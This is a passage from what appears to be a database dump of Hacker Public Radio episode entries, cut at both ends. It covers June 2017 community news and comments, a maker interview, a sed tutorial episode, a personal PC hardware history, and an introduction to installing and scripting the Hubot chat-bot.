href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-June/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-June/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 38 comments in total.</p>\n<p>There are 14 comments on\n7 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2187#comments\" target=\"_blank\">hpr2187</a></strong>\n(2016-12-20) \"<em>The Toshiba Libretto 100ct</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2187#4\" target=\"_blank\">Comment 4</a>:\nBob Jonkman on 2017-06-07:\n\"Fixing dead pixels\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2278#comments\" target=\"_blank\">hpr2278</a></strong>\n(2017-04-26) \"<em>Some supplementary Bash tips</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2278#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2017-06-15:\n\"How people record\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2278#4\" target=\"_blank\">Comment 4</a>:\nclacke on 2017-06-15:\n\"On using echo\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2278#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2017-06-15:\n\"On recording\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2278#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2017-06-15:\n\"Using echo, printf and ls\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2278#7\" target=\"_blank\">Comment 7</a>:\nKen Fallon on 2017-06-15:\n\"Comment limit\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2278#8\" target=\"_blank\">Comment 8</a>:\nclacke on 2017-06-16:\n\"printf episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2283#comments\" target=\"_blank\">hpr2283</a></strong>\n(2017-05-03) \"<em>Saving money shaving with double and single edge safety razors</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=77\" target=\"_blank\">Dave Yates</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2283#6\" target=\"_blank\">Comment 6</a>:\njwp on 2017-06-03:\n\"Hi Dave\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2284#comments\" target=\"_blank\">hpr2284</a></strong>\n(2017-05-04) \"<em>Resurrecting a dead ethernet switch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=271\" target=\"_blank\">mirwi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2284#3\" target=\"_blank\">Comment 3</a>:\njwp on 2017-06-03:\n\"great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2287#comments\" target=\"_blank\">hpr2287</a></strong>\n(2017-05-09) \"<em>Desparately Seeking Saving RMS - Introduction</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2287#3\" target=\"_blank\">Comment 3</a>:\nrtsn on 2017-06-15:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2291#comments\" target=\"_blank\">hpr2291</a></strong>\n(2017-05-15) \"<em>Arch on CELES</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=349\" target=\"_blank\">Hannah, of Terra, of Sol</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2291#1\" target=\"_blank\">Comment 1</a>:\nHannah, of Terra, of Sol on 2017-06-04:\n\"A repo, maybe?\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2291#2\" target=\"_blank\">Comment 2</a>:\nrtsn on 2017-06-16:\n\"good episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2297#comments\" target=\"_blank\">hpr2297</a></strong>\n(2017-05-23) \"<em>More Magnatune Favourites</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2297#3\" target=\"_blank\">Comment 3</a>:\nDave Lee on 2017-06-21:\n\"CC licenses and subscription model\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2297#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2017-06-22:\n\"Re: CC licenses and subscription model\"</li></ul><br/>\n</li></ul>\n<p>There are 24 comments on 10 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2304#comments\" target=\"_blank\">hpr2304</a></strong>\n(2017-06-01) \"<em>Using Gnome 3 for the First Time</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2304#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2017-06-01:\n\"xfdashboard\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2305#comments\" target=\"_blank\">hpr2305</a></strong>\n(2017-06-02) \"<em>Configuring an HP Laptop for Dual Boot Linux and Windows 10</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=356\" target=\"_blank\">Mongo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2305#1\" target=\"_blank\">Comment 1</a>:\nSteve on 2017-06-07:\n\"Excellent tutorial\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2305#2\" target=\"_blank\">Comment 2</a>:\nMongo on 2017-06-08:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2308#comments\" target=\"_blank\">hpr2308</a></strong>\n(2017-06-07) \"<em>Everyday package operations in Guix</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2308#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-05-25:\n\"I check this one while processing\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2308#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2017-05-29:\n\"Theme song\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2308#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2017-06-04:\n\"Theme song is up\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2308#4\" target=\"_blank\">Comment 4</a>:\nb-yeezi on 2017-06-07:\n\"GNU Stow please\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2308#5\" target=\"_blank\">Comment 5</a>:\nclacke on 2017-06-15:\n\"GNU Stow in the pipeline\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2309#comments\" target=\"_blank\">hpr2309</a></strong>\n(2017-06-08) \"<em>Crowdsourcing Accessibility</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2309#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2017-06-11:\n\"Interesting project; interesting word\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2309#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2017-06-11:\n\"absquatulate\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2313#comments\" target=\"_blank\">hpr2313</a></strong>\n(2017-06-14) \"<em>NilFS2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2313#1\" target=\"_blank\">Comment 1</a>:\nfolky on 2017-06-14:\n\"More ;-)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2314#comments\" target=\"_blank\">hpr2314</a></strong>\n(2017-06-15) \"<em>Bad Caps</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2314#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2017-06-18:\n\"Thanks for this\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2314#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2017-06-18:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2314#3\" target=\"_blank\">Comment 3</a>:\nJonathan Kulp on 2017-06-19:\n\"The suspense is killing me \"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2314#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2017-06-19:\n\"Do not reply in the comments\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2314#5\" target=\"_blank\">Comment 5</a>:\nJonathan Kulp on 2017-06-19:\n\"I&#39;ll do a show next time\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2314#6\" target=\"_blank\">Comment 6</a>:\nNYbill on 2017-06-19:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2314#7\" target=\"_blank\">Comment 7</a>:\nNYbill on 2017-06-19:\n\"&quot;Do not reply in the comments&quot;\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2314#8\" target=\"_blank\">Comment 8</a>:\nKen Fallon on 2017-06-20:\n\"Great more shows\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2317#comments\" target=\"_blank\">hpr2317</a></strong>\n(2017-06-20) \"<em>Bash snippet - extglob and scp</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2317#1\" target=\"_blank\">Comment 1</a>:\nJonathan Kulp on 2017-06-28:\n\"Clarity!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2317#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-06-29:\n\"Clear as mud? :-)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2320#comments\" target=\"_blank\">hpr2320</a></strong>\n(2017-06-23) \"<em>Living Computers: Museum + Labs</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2320#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2017-06-23:\n\"AWK series/ DEC hardware\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2322#comments\" target=\"_blank\">hpr2322</a></strong>\n(2017-06-27) \"<em>A bit of background on virtualenvwrapper</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\" target=\"_blank\">bjb</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2322#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2017-06-27:\n\"Great Show. My follow-up to com\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2325#comments\" target=\"_blank\">hpr2325</a></strong>\n(2017-06-30) \"<em>Insurance - How It Works</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2325#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2017-06-15:\n\"Great show\"</li></ul><br/>\n</li></ul>\n<h2>Any other business</h2>\n<ul>\n    <li><b>Podcrawl Glasgow 2017</b>\n	<p>The annual Podcrawl Glasgow will take place on Saturday July 29th\n	    at 6pm, starting in The State Bar, Holland Street, Glasgow ... and\n	    going on to who knows where!  </p>\n	<p> See <a href=\"https://kmacphail.blogspot.co.uk/2017/04/podcrawl-glasgow-2017.html\">Kevie\'s blog</a>\n	    for the details.  </p>\n	<p> We hope to see some HPR listeners and contributors there!  </p>\n    </li> \n    <li><b>UK Table Kit</b>\n	<p>From @timttmy:</p>\n	<p> <em>Could you mention on the community news that I still have the\n		HPR table kit and if anyone needs it to let me know via the\n		mailing list. Sadly I won\'t be able to make oggcamp this year\n		and I\'m a more than a little gutted as this will be the first\n		time I\'ve missed the event. I hope somebody can represent HPR\n		this year but I\'ve not heard any chatter of excitement about\n		it on the interwebs from anyone yet.</em>  </p>\n    </li>\n\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2056,'2016-06-20','Interview with a young hacker',271,'This is a short interview with a young member of my makerspace and local Raspberry Jam','<p>The following interview is with a young member of the Maker Space and Raspberry Pi community here in the North West of the UK.</p>\r\n<p>You can find more of Josh\'s work at:<br />\r\n<a href=\"https://allaboutcode.wix.com/home\" class=\"uri\">https://allaboutcode.wix.com/home</a></p>\r\n<p>Blackpool Makerspace and LUG<br />\r\n<a href=\"https://blackpoolmakerspace.wordpress.com/\" class=\"uri\">https://blackpoolmakerspace.wordpress.com/</a></p>\r\n<p>Blackpool Raspberry Jam<br />\r\n<a href=\"https://blackpoolraspberryjam.co.uk/\" class=\"uri\">https://blackpoolraspberryjam.co.uk/</a></p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://allaboutcode.wix.com/home\" class=\"uri\">https://allaboutcode.wix.com/home</a></li>\r\n<li><a href=\"https://blackpoolmakerspace.wordpress.com/\" class=\"uri\">https://blackpoolmakerspace.wordpress.com/</a></li>\r\n<li><a href=\"https://blackpoolraspberryjam.co.uk/\" class=\"uri\">https://blackpoolraspberryjam.co.uk/</a></li>\r\n</ul>\r\n',338,78,0,'CC-BY-SA','interview,maker,makerspace,Blackpool,soldering,electronics,Python,EduPython,Open SUSE',0,0,1),
(2060,'2016-06-24','Introduction to sed - part 5',2889,'Finishing covering sed commands. Looking at some example scripts','<h1 id=\"introduction-to-sed---part-5\">Introduction to sed - part 5</h1>\r\n<p>This episode is the last one in the \"<em>Introduction to sed</em>\" series.</p>\r\n<p>In the <a href=\"https://hackerpublicradio.org/eps.php?id=2011\" title=\"Introduction to sed - part 4\">last episode</a> we looked at the full story of how <code>sed</code> works with the <em>hold</em> and <em>pattern</em> buffers. We looked at some of the commands that we had not yet seen and how they can be used to do more advanced processing using <code>sed</code>\'s buffers.</p>\r\n<p>In this episode we will look at a selection of the remaining commands, which might be described as quite obscure (even <em>very obscure</em>). We will also look at some of the example <code>sed</code> scripts found in the <a href=\"https://www.gnu.org/software/sed/manual/sed.html#Examples\" title=\"GNU sed manual - examples\">GNU sed manual</a>.</p>\r\n<p>To read the rest of the notes for this episode follow this link: <a href=\"https://hackerpublicradio.org/eps/hpr2060/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2060/full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><em>Introduction to sed - part 1</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1976\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1976</a></li>\r\n<li><em>Introduction to sed - part 2</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1986\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1986</a></li>\r\n<li><em>Introduction to sed - part 3</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1997\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1997</a></li>\r\n<li><em>Introduction to sed - part 4</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=2011\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2011</a></li>\r\n<li>GNU <code>sed</code> manual:\r\n<ul>\r\n<li>Index: <a href=\"https://www.gnu.org/software/sed/manual/sed.html\" class=\"uri\">https://www.gnu.org/software/sed/manual/sed.html</a></li>\r\n<li>Commands for <code>sed</code> gurus: <a href=\"https://www.gnu.org/software/sed/manual/sed.html#Programming-Commands\" class=\"uri\">https://www.gnu.org/software/sed/manual/sed.html#Programming-Commands</a></li>\r\n<li>Commands Specific to GNU <code>sed</code>: <a href=\"https://www.gnu.org/software/sed/manual/sed.html#Extended-Commands\" class=\"uri\">https://www.gnu.org/software/sed/manual/sed.html#Extended-Commands</a></li>\r\n</ul></li>\r\n<li>Wikipedia entry for <code>sed</code>: <a href=\"https://en.wikipedia.org/wiki/Sed\" class=\"uri\">https://en.wikipedia.org/wiki/Sed</a></li>\r\n<li>\"<em>Sed - An Introduction and Tutorial</em>\" by Bruce Barnett: <a href=\"https://www.grymoire.com/Unix/Sed.html\" class=\"uri\">https://www.grymoire.com/Unix/Sed.html</a></li>\r\n<li>Wikibooks sed wiki: <a href=\"https://en.wikibooks.org/wiki/Sed\" class=\"uri\">https://en.wikibooks.org/wiki/Sed</a></li>\r\n<li>Example files:\r\n<ul>\r\n<li>Using the <strong>c</strong> command: <a href=\"https://hackerpublicradio.org/eps/hpr2060/demo5.sed\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2060/demo5.sed</a></li>\r\n<li>Centring lines: <a href=\"https://hackerpublicradio.org/eps/hpr2060/centre.sed\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2060/centre.sed</a></li>\r\n<li>Reverse lines of files: <a href=\"https://hackerpublicradio.org/eps/hpr2060/tac.sed\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2060/tac.sed</a></li>\r\n<li>Reverse characters of lines (original and debug): <a href=\"https://hackerpublicradio.org/eps/hpr2060/reverse_characters.sed\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2060/reverse_characters.sed</a> <a href=\"https://hackerpublicradio.org/eps/hpr2060/reverse_characters_debug.sed\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2060/reverse_characters_debug.sed</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,90,1,'CC-BY-SA','sed,stream editor,pattern space,hold space',0,0,1),
(2097,'2016-08-16','New Toys',555,'Story of my PC hardware journey in last 20 years','<p>Hi HPR listeners this is Tony Hughes talking from Blackpool UK</p>\r\n<p>I did a show a few weeks ago about my Geek Bags but didn’t talk about the Desktop PC I use and as I’ve just upgraded to a new (used) PC I thought I would tell the story of my Desktop PC’s over the years.</p>\r\n<p>I was a latecomer to the world of personal computing having been at school in the Late 60’s and early 70’s when we hadn’t even got calculators, if you were lucky to be able to work out the intricacy of it you may have had use of a slide rule. Even after calculators started to be more widely used I had a lecturer at college while studying marine engineering, that was so good with his slide rule and mental calculation, he could, and would often work out equations far faster than those of us using a calculator.</p>\r\n<p>I first came across my first IBM clone PC back at college in 1987 while studying a control systems course this was a Intel 286 PC which the college ran CAD/CAM software on and we used it to learn how to create engineering drawings electronically. This would be the last time I used a computer until the early 1990’s when by then I had changed career and become a Registered Nurse. I was working in a residential nursing home and we had access to a Windows 3.xx PC which I would use to create templates of the clinical paperwork we used for record keeping.</p>\r\n<p>Around this time I met my then wife to be and she needed a PC for the University Course she was on so we obtained a used Intel 386 PC from a Friend and upgraded the Ram from 1Mb to 4Mb which cost nearly half the price we paid for the PC £120, which in 1993 was a good chunk of cash. It was a time when there was a world shortage of Ram and offices were getting burgled just for the memory in the office PC’s.</p>\r\n<p>While we had this PC in the house it didn’t much interest me at the time, this was pre internet days for the average user, we weren’t on line at work and the Word processing software was Dos based and I hated using it, so would do the odd things I needed to at work during my break.</p>\r\n<p>Move forward 5 years and Windows 95 had taken over the world and there was this wonderful new OS called Windows 98 starting to appear in the shops. In September 1998 I went back to do a Nursing Degree in my specialist area of practice and found that we were required to submit all our course work in word processed format, no long hand written assignments this time around. So I decided that I would invest in a new home PC.</p>\r\n<p>There were a couple of Big Box PC retailers in the UK at the time that advertised heavily in the press and on TV and I chose to go to one of these and bought a PC with the following specs:   </p>\r\n<p>Pentium 2 350 CPU, 128Mb Ram, 6Gig HDD, 56k modem and a DVD Rom. It also came bundled with a Scanner, Inkjet printer and software including MS Office for small Business. All for the grand total of £1400 which at the time was about a month’s take home pay so I had to pay for it with the flexible friend (my Credit Card for those of you too young to remember the ad’s)</p>\r\n<p>I also signed up for an AOL account to access the internet over the 56k modem, dog slow now but at the time was the only affordable way us mere mortals could afford home internet access. I remember it could take a minute or 2 to render my Bank’s web site when I started online banking in 2001 and that was using compression software to reduce the bandwidth.</p>\r\n<p>I used that PC to write all my college work and with the help of a couple of friends started to tinker with the PC, getting a 120 ZIP drive for it, and later adding a CD RW drive for storing documents and Photos that I’d scanned and later taken with my first digital Camera.</p>\r\n<p>By 2002 the PC was starting to get a bit long in the tooth and I decided it was time for an upgrade and I had a PC built for me by a local shop with P4 2.5Ghz CPU 40Gig HDD and 512Mb Ram (later upgraded to 2Gig) and a CD RW drive again later upgraded to DVD RW drive. This PC cost me half of what I paid for the P2 four years previously and was to be the last PC I bought new, all the PC’s including laptops I’ve owned since this PC have been second hand. Some given by family or friends, some built from parts of Freecycle/Freegle, and lately PC’s I’ve bought at a local computer auction in the north west of the UK.</p>\r\n<p>The title of this podcast is “New Toys” and so to the juicy bit, my Desktop for the last 6 years has been a Lenovo ThinkCentre 7373 Core 2 Duo PC with a 2.6Ghz CPU, 250Gig SSD, an upgrade from the 160Gig HDD it came with and 12Gig Ram also upgraded from the 4Gig it came with and requiring a bios flash to get the MB to support 16Gig. This rig has served me well but lately I have found it starting to feel its age and taking a long time to do things I now do regularly such as video and photo editing, Audio editing and virtual PC’s in virtualBox. So I decided it was time I looked around for an upgrade. As usual I was not in the market for a new PC, I could afford one but I don’t like splashing the cash unnecessarily. As luck would have it the monthly Auction catalog included a HP Compaq Elite 8300 i7 Micro Tower. I checked out the specs and liked what I read. So Monday 1st of August I took a trip to the auction and as luck would have it I became the proud owner of said PC for the princely sum of £212.80, hammer price of £190 plus commission.</p>\r\n<p>The full spec of the PC is: i7 3.4Ghz CPU (22nm architecture) 4 cores and 8 threads, 8Gig Ram Supports 32Gig 500Gig HDD, DVD RW drive and a card reader. Also came with a Win7 pro CoA but no installed OS.</p>\r\n<p>So it took me 10 minutes to install Linux Mint 18 and another 30 to complete the updates and install my software over and above the base install. It boots in just over a minute, which is only slightly slower than the old PC with an SSD, so I guess it will boot mega fast with an SSD upgrade, which is on the cards after I return from Holiday as may an upgrade to the Ram. I’ve already used some Ram from the old PC to increase to 12Gig but I need some matching 8Gig Ram to go to 16 or higher.</p>\r\n<p>Well that charts my PC hardware journey over the last 20 odd years it’s amazing to think that one of the Raspberry Pi 3’s I own has more processing power than most of the hardware I’ve had up to the Core 2 Duo in 2010.</p>\r\n',338,57,0,'CC-BY-SA','slide rule,Intel 286,Intel 386,Windows,AOL,modem,Linux Mint,Raspberry Pi',0,0,1),
(2048,'2016-06-08','The Hubot chat-bot',1316,'An introduction to the Hubot chat-bot','<h1 id=\"hubot\">Hubot</h1>\r\n<h2 id=\"intro\">Intro</h2>\r\n<p><a href=\"https://hubot.github.com/\">Hubot</a> is a chat-bot written by the folks at GitHub. It is a <a href=\"https://nodejs.org/\">node.js</a> application written in <a href=\"https://coffeescript.org/\">CoffeeScript</a>.</p>\r\n<p>Hubot has a variety of <a href=\"https://hubot.github.com/docs/adapters/\">adapters</a> that allow it to connect to a variety of chat platforms. These range from IRC to Slack. So, the platform\r\nyou are interested in probably already has an adapter available for it.</p>\r\n<p>Hubot uses individual CoffeeScript scripts to provide chat-bot functionality. There are a slew of existing scripts available in the npm. Just search for <a href=\"https://www.npmjs.com/browse/keyword/hubot-scripts\">hubot-scripts</a>.</p>\r\n<p>You can also write your own in order to make sure that Hubot provides the functionality that you need.</p>\r\n<h2 id=\"install\">Install</h2>\r\n<p>Hubot is available as an npm package. So, you will need to install node.js and npm on your system. I will leave this as an exercise for the listener.</p>\r\n<p>I will however, throw out a tip for those of you using a Raspberry Pi for this. The node.js platform should be deployed on an ARM system using the armhf (ARM hard float) architecture. The nod\r\ne.js stack needed to run Hubot will not properly install if you are using the armel (ARM soft float) architecture.</p>\r\n<p>Once you have node.js and npm installed, you can install hubot and its dependencies with the following command.</p>\r\n<pre><code>npm install -g hubot yo generator-hubot coffee-script</code></pre>\r\n<p>You create your own instance of hubot by using <a href=\"https://yeoman.io/\">yeoman</a> generator. You need to do this as a non-root user. When you create your bot, you will give it a name and\r\nspecify the adapter to use. These can be specified as command line flags, or the generator will prompt you for this information.</p>\r\n<ul>\r\n<li>Owner</li>\r\n<li>Name</li>\r\n<li>Description</li>\r\n<li>Adapter</li>\r\n</ul>\r\n<p>Interactive</p>\r\n<pre><code>yo hubot</code></pre>\r\n<p>Providing the answers</p>\r\n<pre><code>yo hubot --name mybot --description &quot;My Helpful Robot&quot; --adapter shell --defaults</code></pre>\r\n<h2 id=\"running\">Running</h2>\r\n<p>Once hubot is installed, you can run it with the following. I will use the shell adapter, which provides an interactive shell from which to trigger hubot scripts.</p>\r\n<pre><code>./bin/hubot --adapter shell</code></pre>\r\n<p>Our Hubot instance is now active and ready to receive commands. We will start with a simple ping command.</p>\r\n<pre><code>mybot&gt; mybot ping\r\nmybot&gt; PONG</code></pre>\r\n<p>We can see the available commands by asking Hubot for help</p>\r\n<pre><code>mybot&gt; mybot help\r\nmybot adapter - Reply with the adapter\r\nmybot animate me &lt;query&gt; - The same thing as `image me`, except adds a few parameters to try to return an animated GIF instead.\r\nmybot echo &lt;text&gt; - Reply back with &lt;text&gt;\r\nmybot help - Displays all of the help commands that Hubot knows about.\r\nmybot help &lt;query&gt; - Displays all help commands that match &lt;query&gt;.\r\nmybot image me &lt;query&gt; - The Original. Queries Google Images for &lt;query&gt; and returns a random top result.\r\nmybot map me &lt;query&gt; - Returns a map view of the area returned by `query`.\r\nmybot mustache me &lt;url|query&gt; - Adds a mustache to the specified URL or query result.\r\nmybot ping - Reply with pong\r\nmybot pug bomb N - get N pugs\r\nmybot pug me - Receive a pug\r\nmybot the rules - Make sure hubot still knows the rules.\r\nmybot time - Reply with current time\r\nmybot translate me &lt;phrase&gt; - Searches for a translation for the &lt;phrase&gt; and then prints that bad boy out.\r\nmybot translate me from &lt;source&gt; into &lt;target&gt; &lt;phrase&gt; - Translates &lt;phrase&gt; from &lt;source&gt; into &lt;target&gt;. Both &lt;source&gt; and &lt;target&gt; are optional\r\nship it - Display a motivation squirrel</code></pre>\r\n<p>We will try a couple more.</p>\r\n<pre><code>mybot&gt; mybot echo &quot;Hello world&quot;\r\n&quot;Hello world&quot;\r\nmybot&gt; mybot the rules\r\n0. A robot may not harm humanity, or, by inaction, allow humanity to come to harm.\r\n1. A robot may not injure a human being or, through inaction, allow a human being to come to harm.\r\n2. A robot must obey any orders given to it by human beings, except where such orders would conflict with the First Law.\r\n3. A robot must protect its own existence as long as such protection does not conflict with the First or Second Law.</code></pre>\r\n<h2 id=\"adding-scripts\">Adding Scripts</h2>\r\n<h3 id=\"npm-scripts\">npm scripts</h3>\r\n<pre><code>npm install hubot-simpsons</code></pre>\r\n<p>Add <code>hubot-simpsons</code> to the array in the <code>external-scripts.json</code> file.</p>\r\n<pre><code>mybot&gt; mybot simpsons quote\r\nmybot&gt; Disco Stuâ¦ likes disco.</code></pre>\r\n<h3 id=\"writing-scripts\">Writing scripts</h3>\r\n<p>https://github.com/github/hubot/blob/master/docs/scripting.md</p>\r\n<p>You can add your own custom scripts by adding them to the <code>scripts</code> directory. An <code>examples.coffee</code> script was included when Hubot was installed. It includes a variety of examples of things Hubot can do. I will illustrate by paring this down to a simple single script that responds to requests to open doors. Our simple script will open most doors, but will politely refuse to open the \'pod bay\' doors.</p>\r\n<p>The script uses the <code>respond</code> method on the <code>robot</code> module. This method takes a regex patten to respond to. It returns a result that contains a match array when the pattern has been detected. In our script we capture the group between \'onen the\' and \'doors\'. We then use this to determine which response to provide. The response is triggered with the robots <code>reply</code> method.</p>\r\n<pre><code>module.exports = (robot) -&gt;\r\n\r\n robot.respond /open the 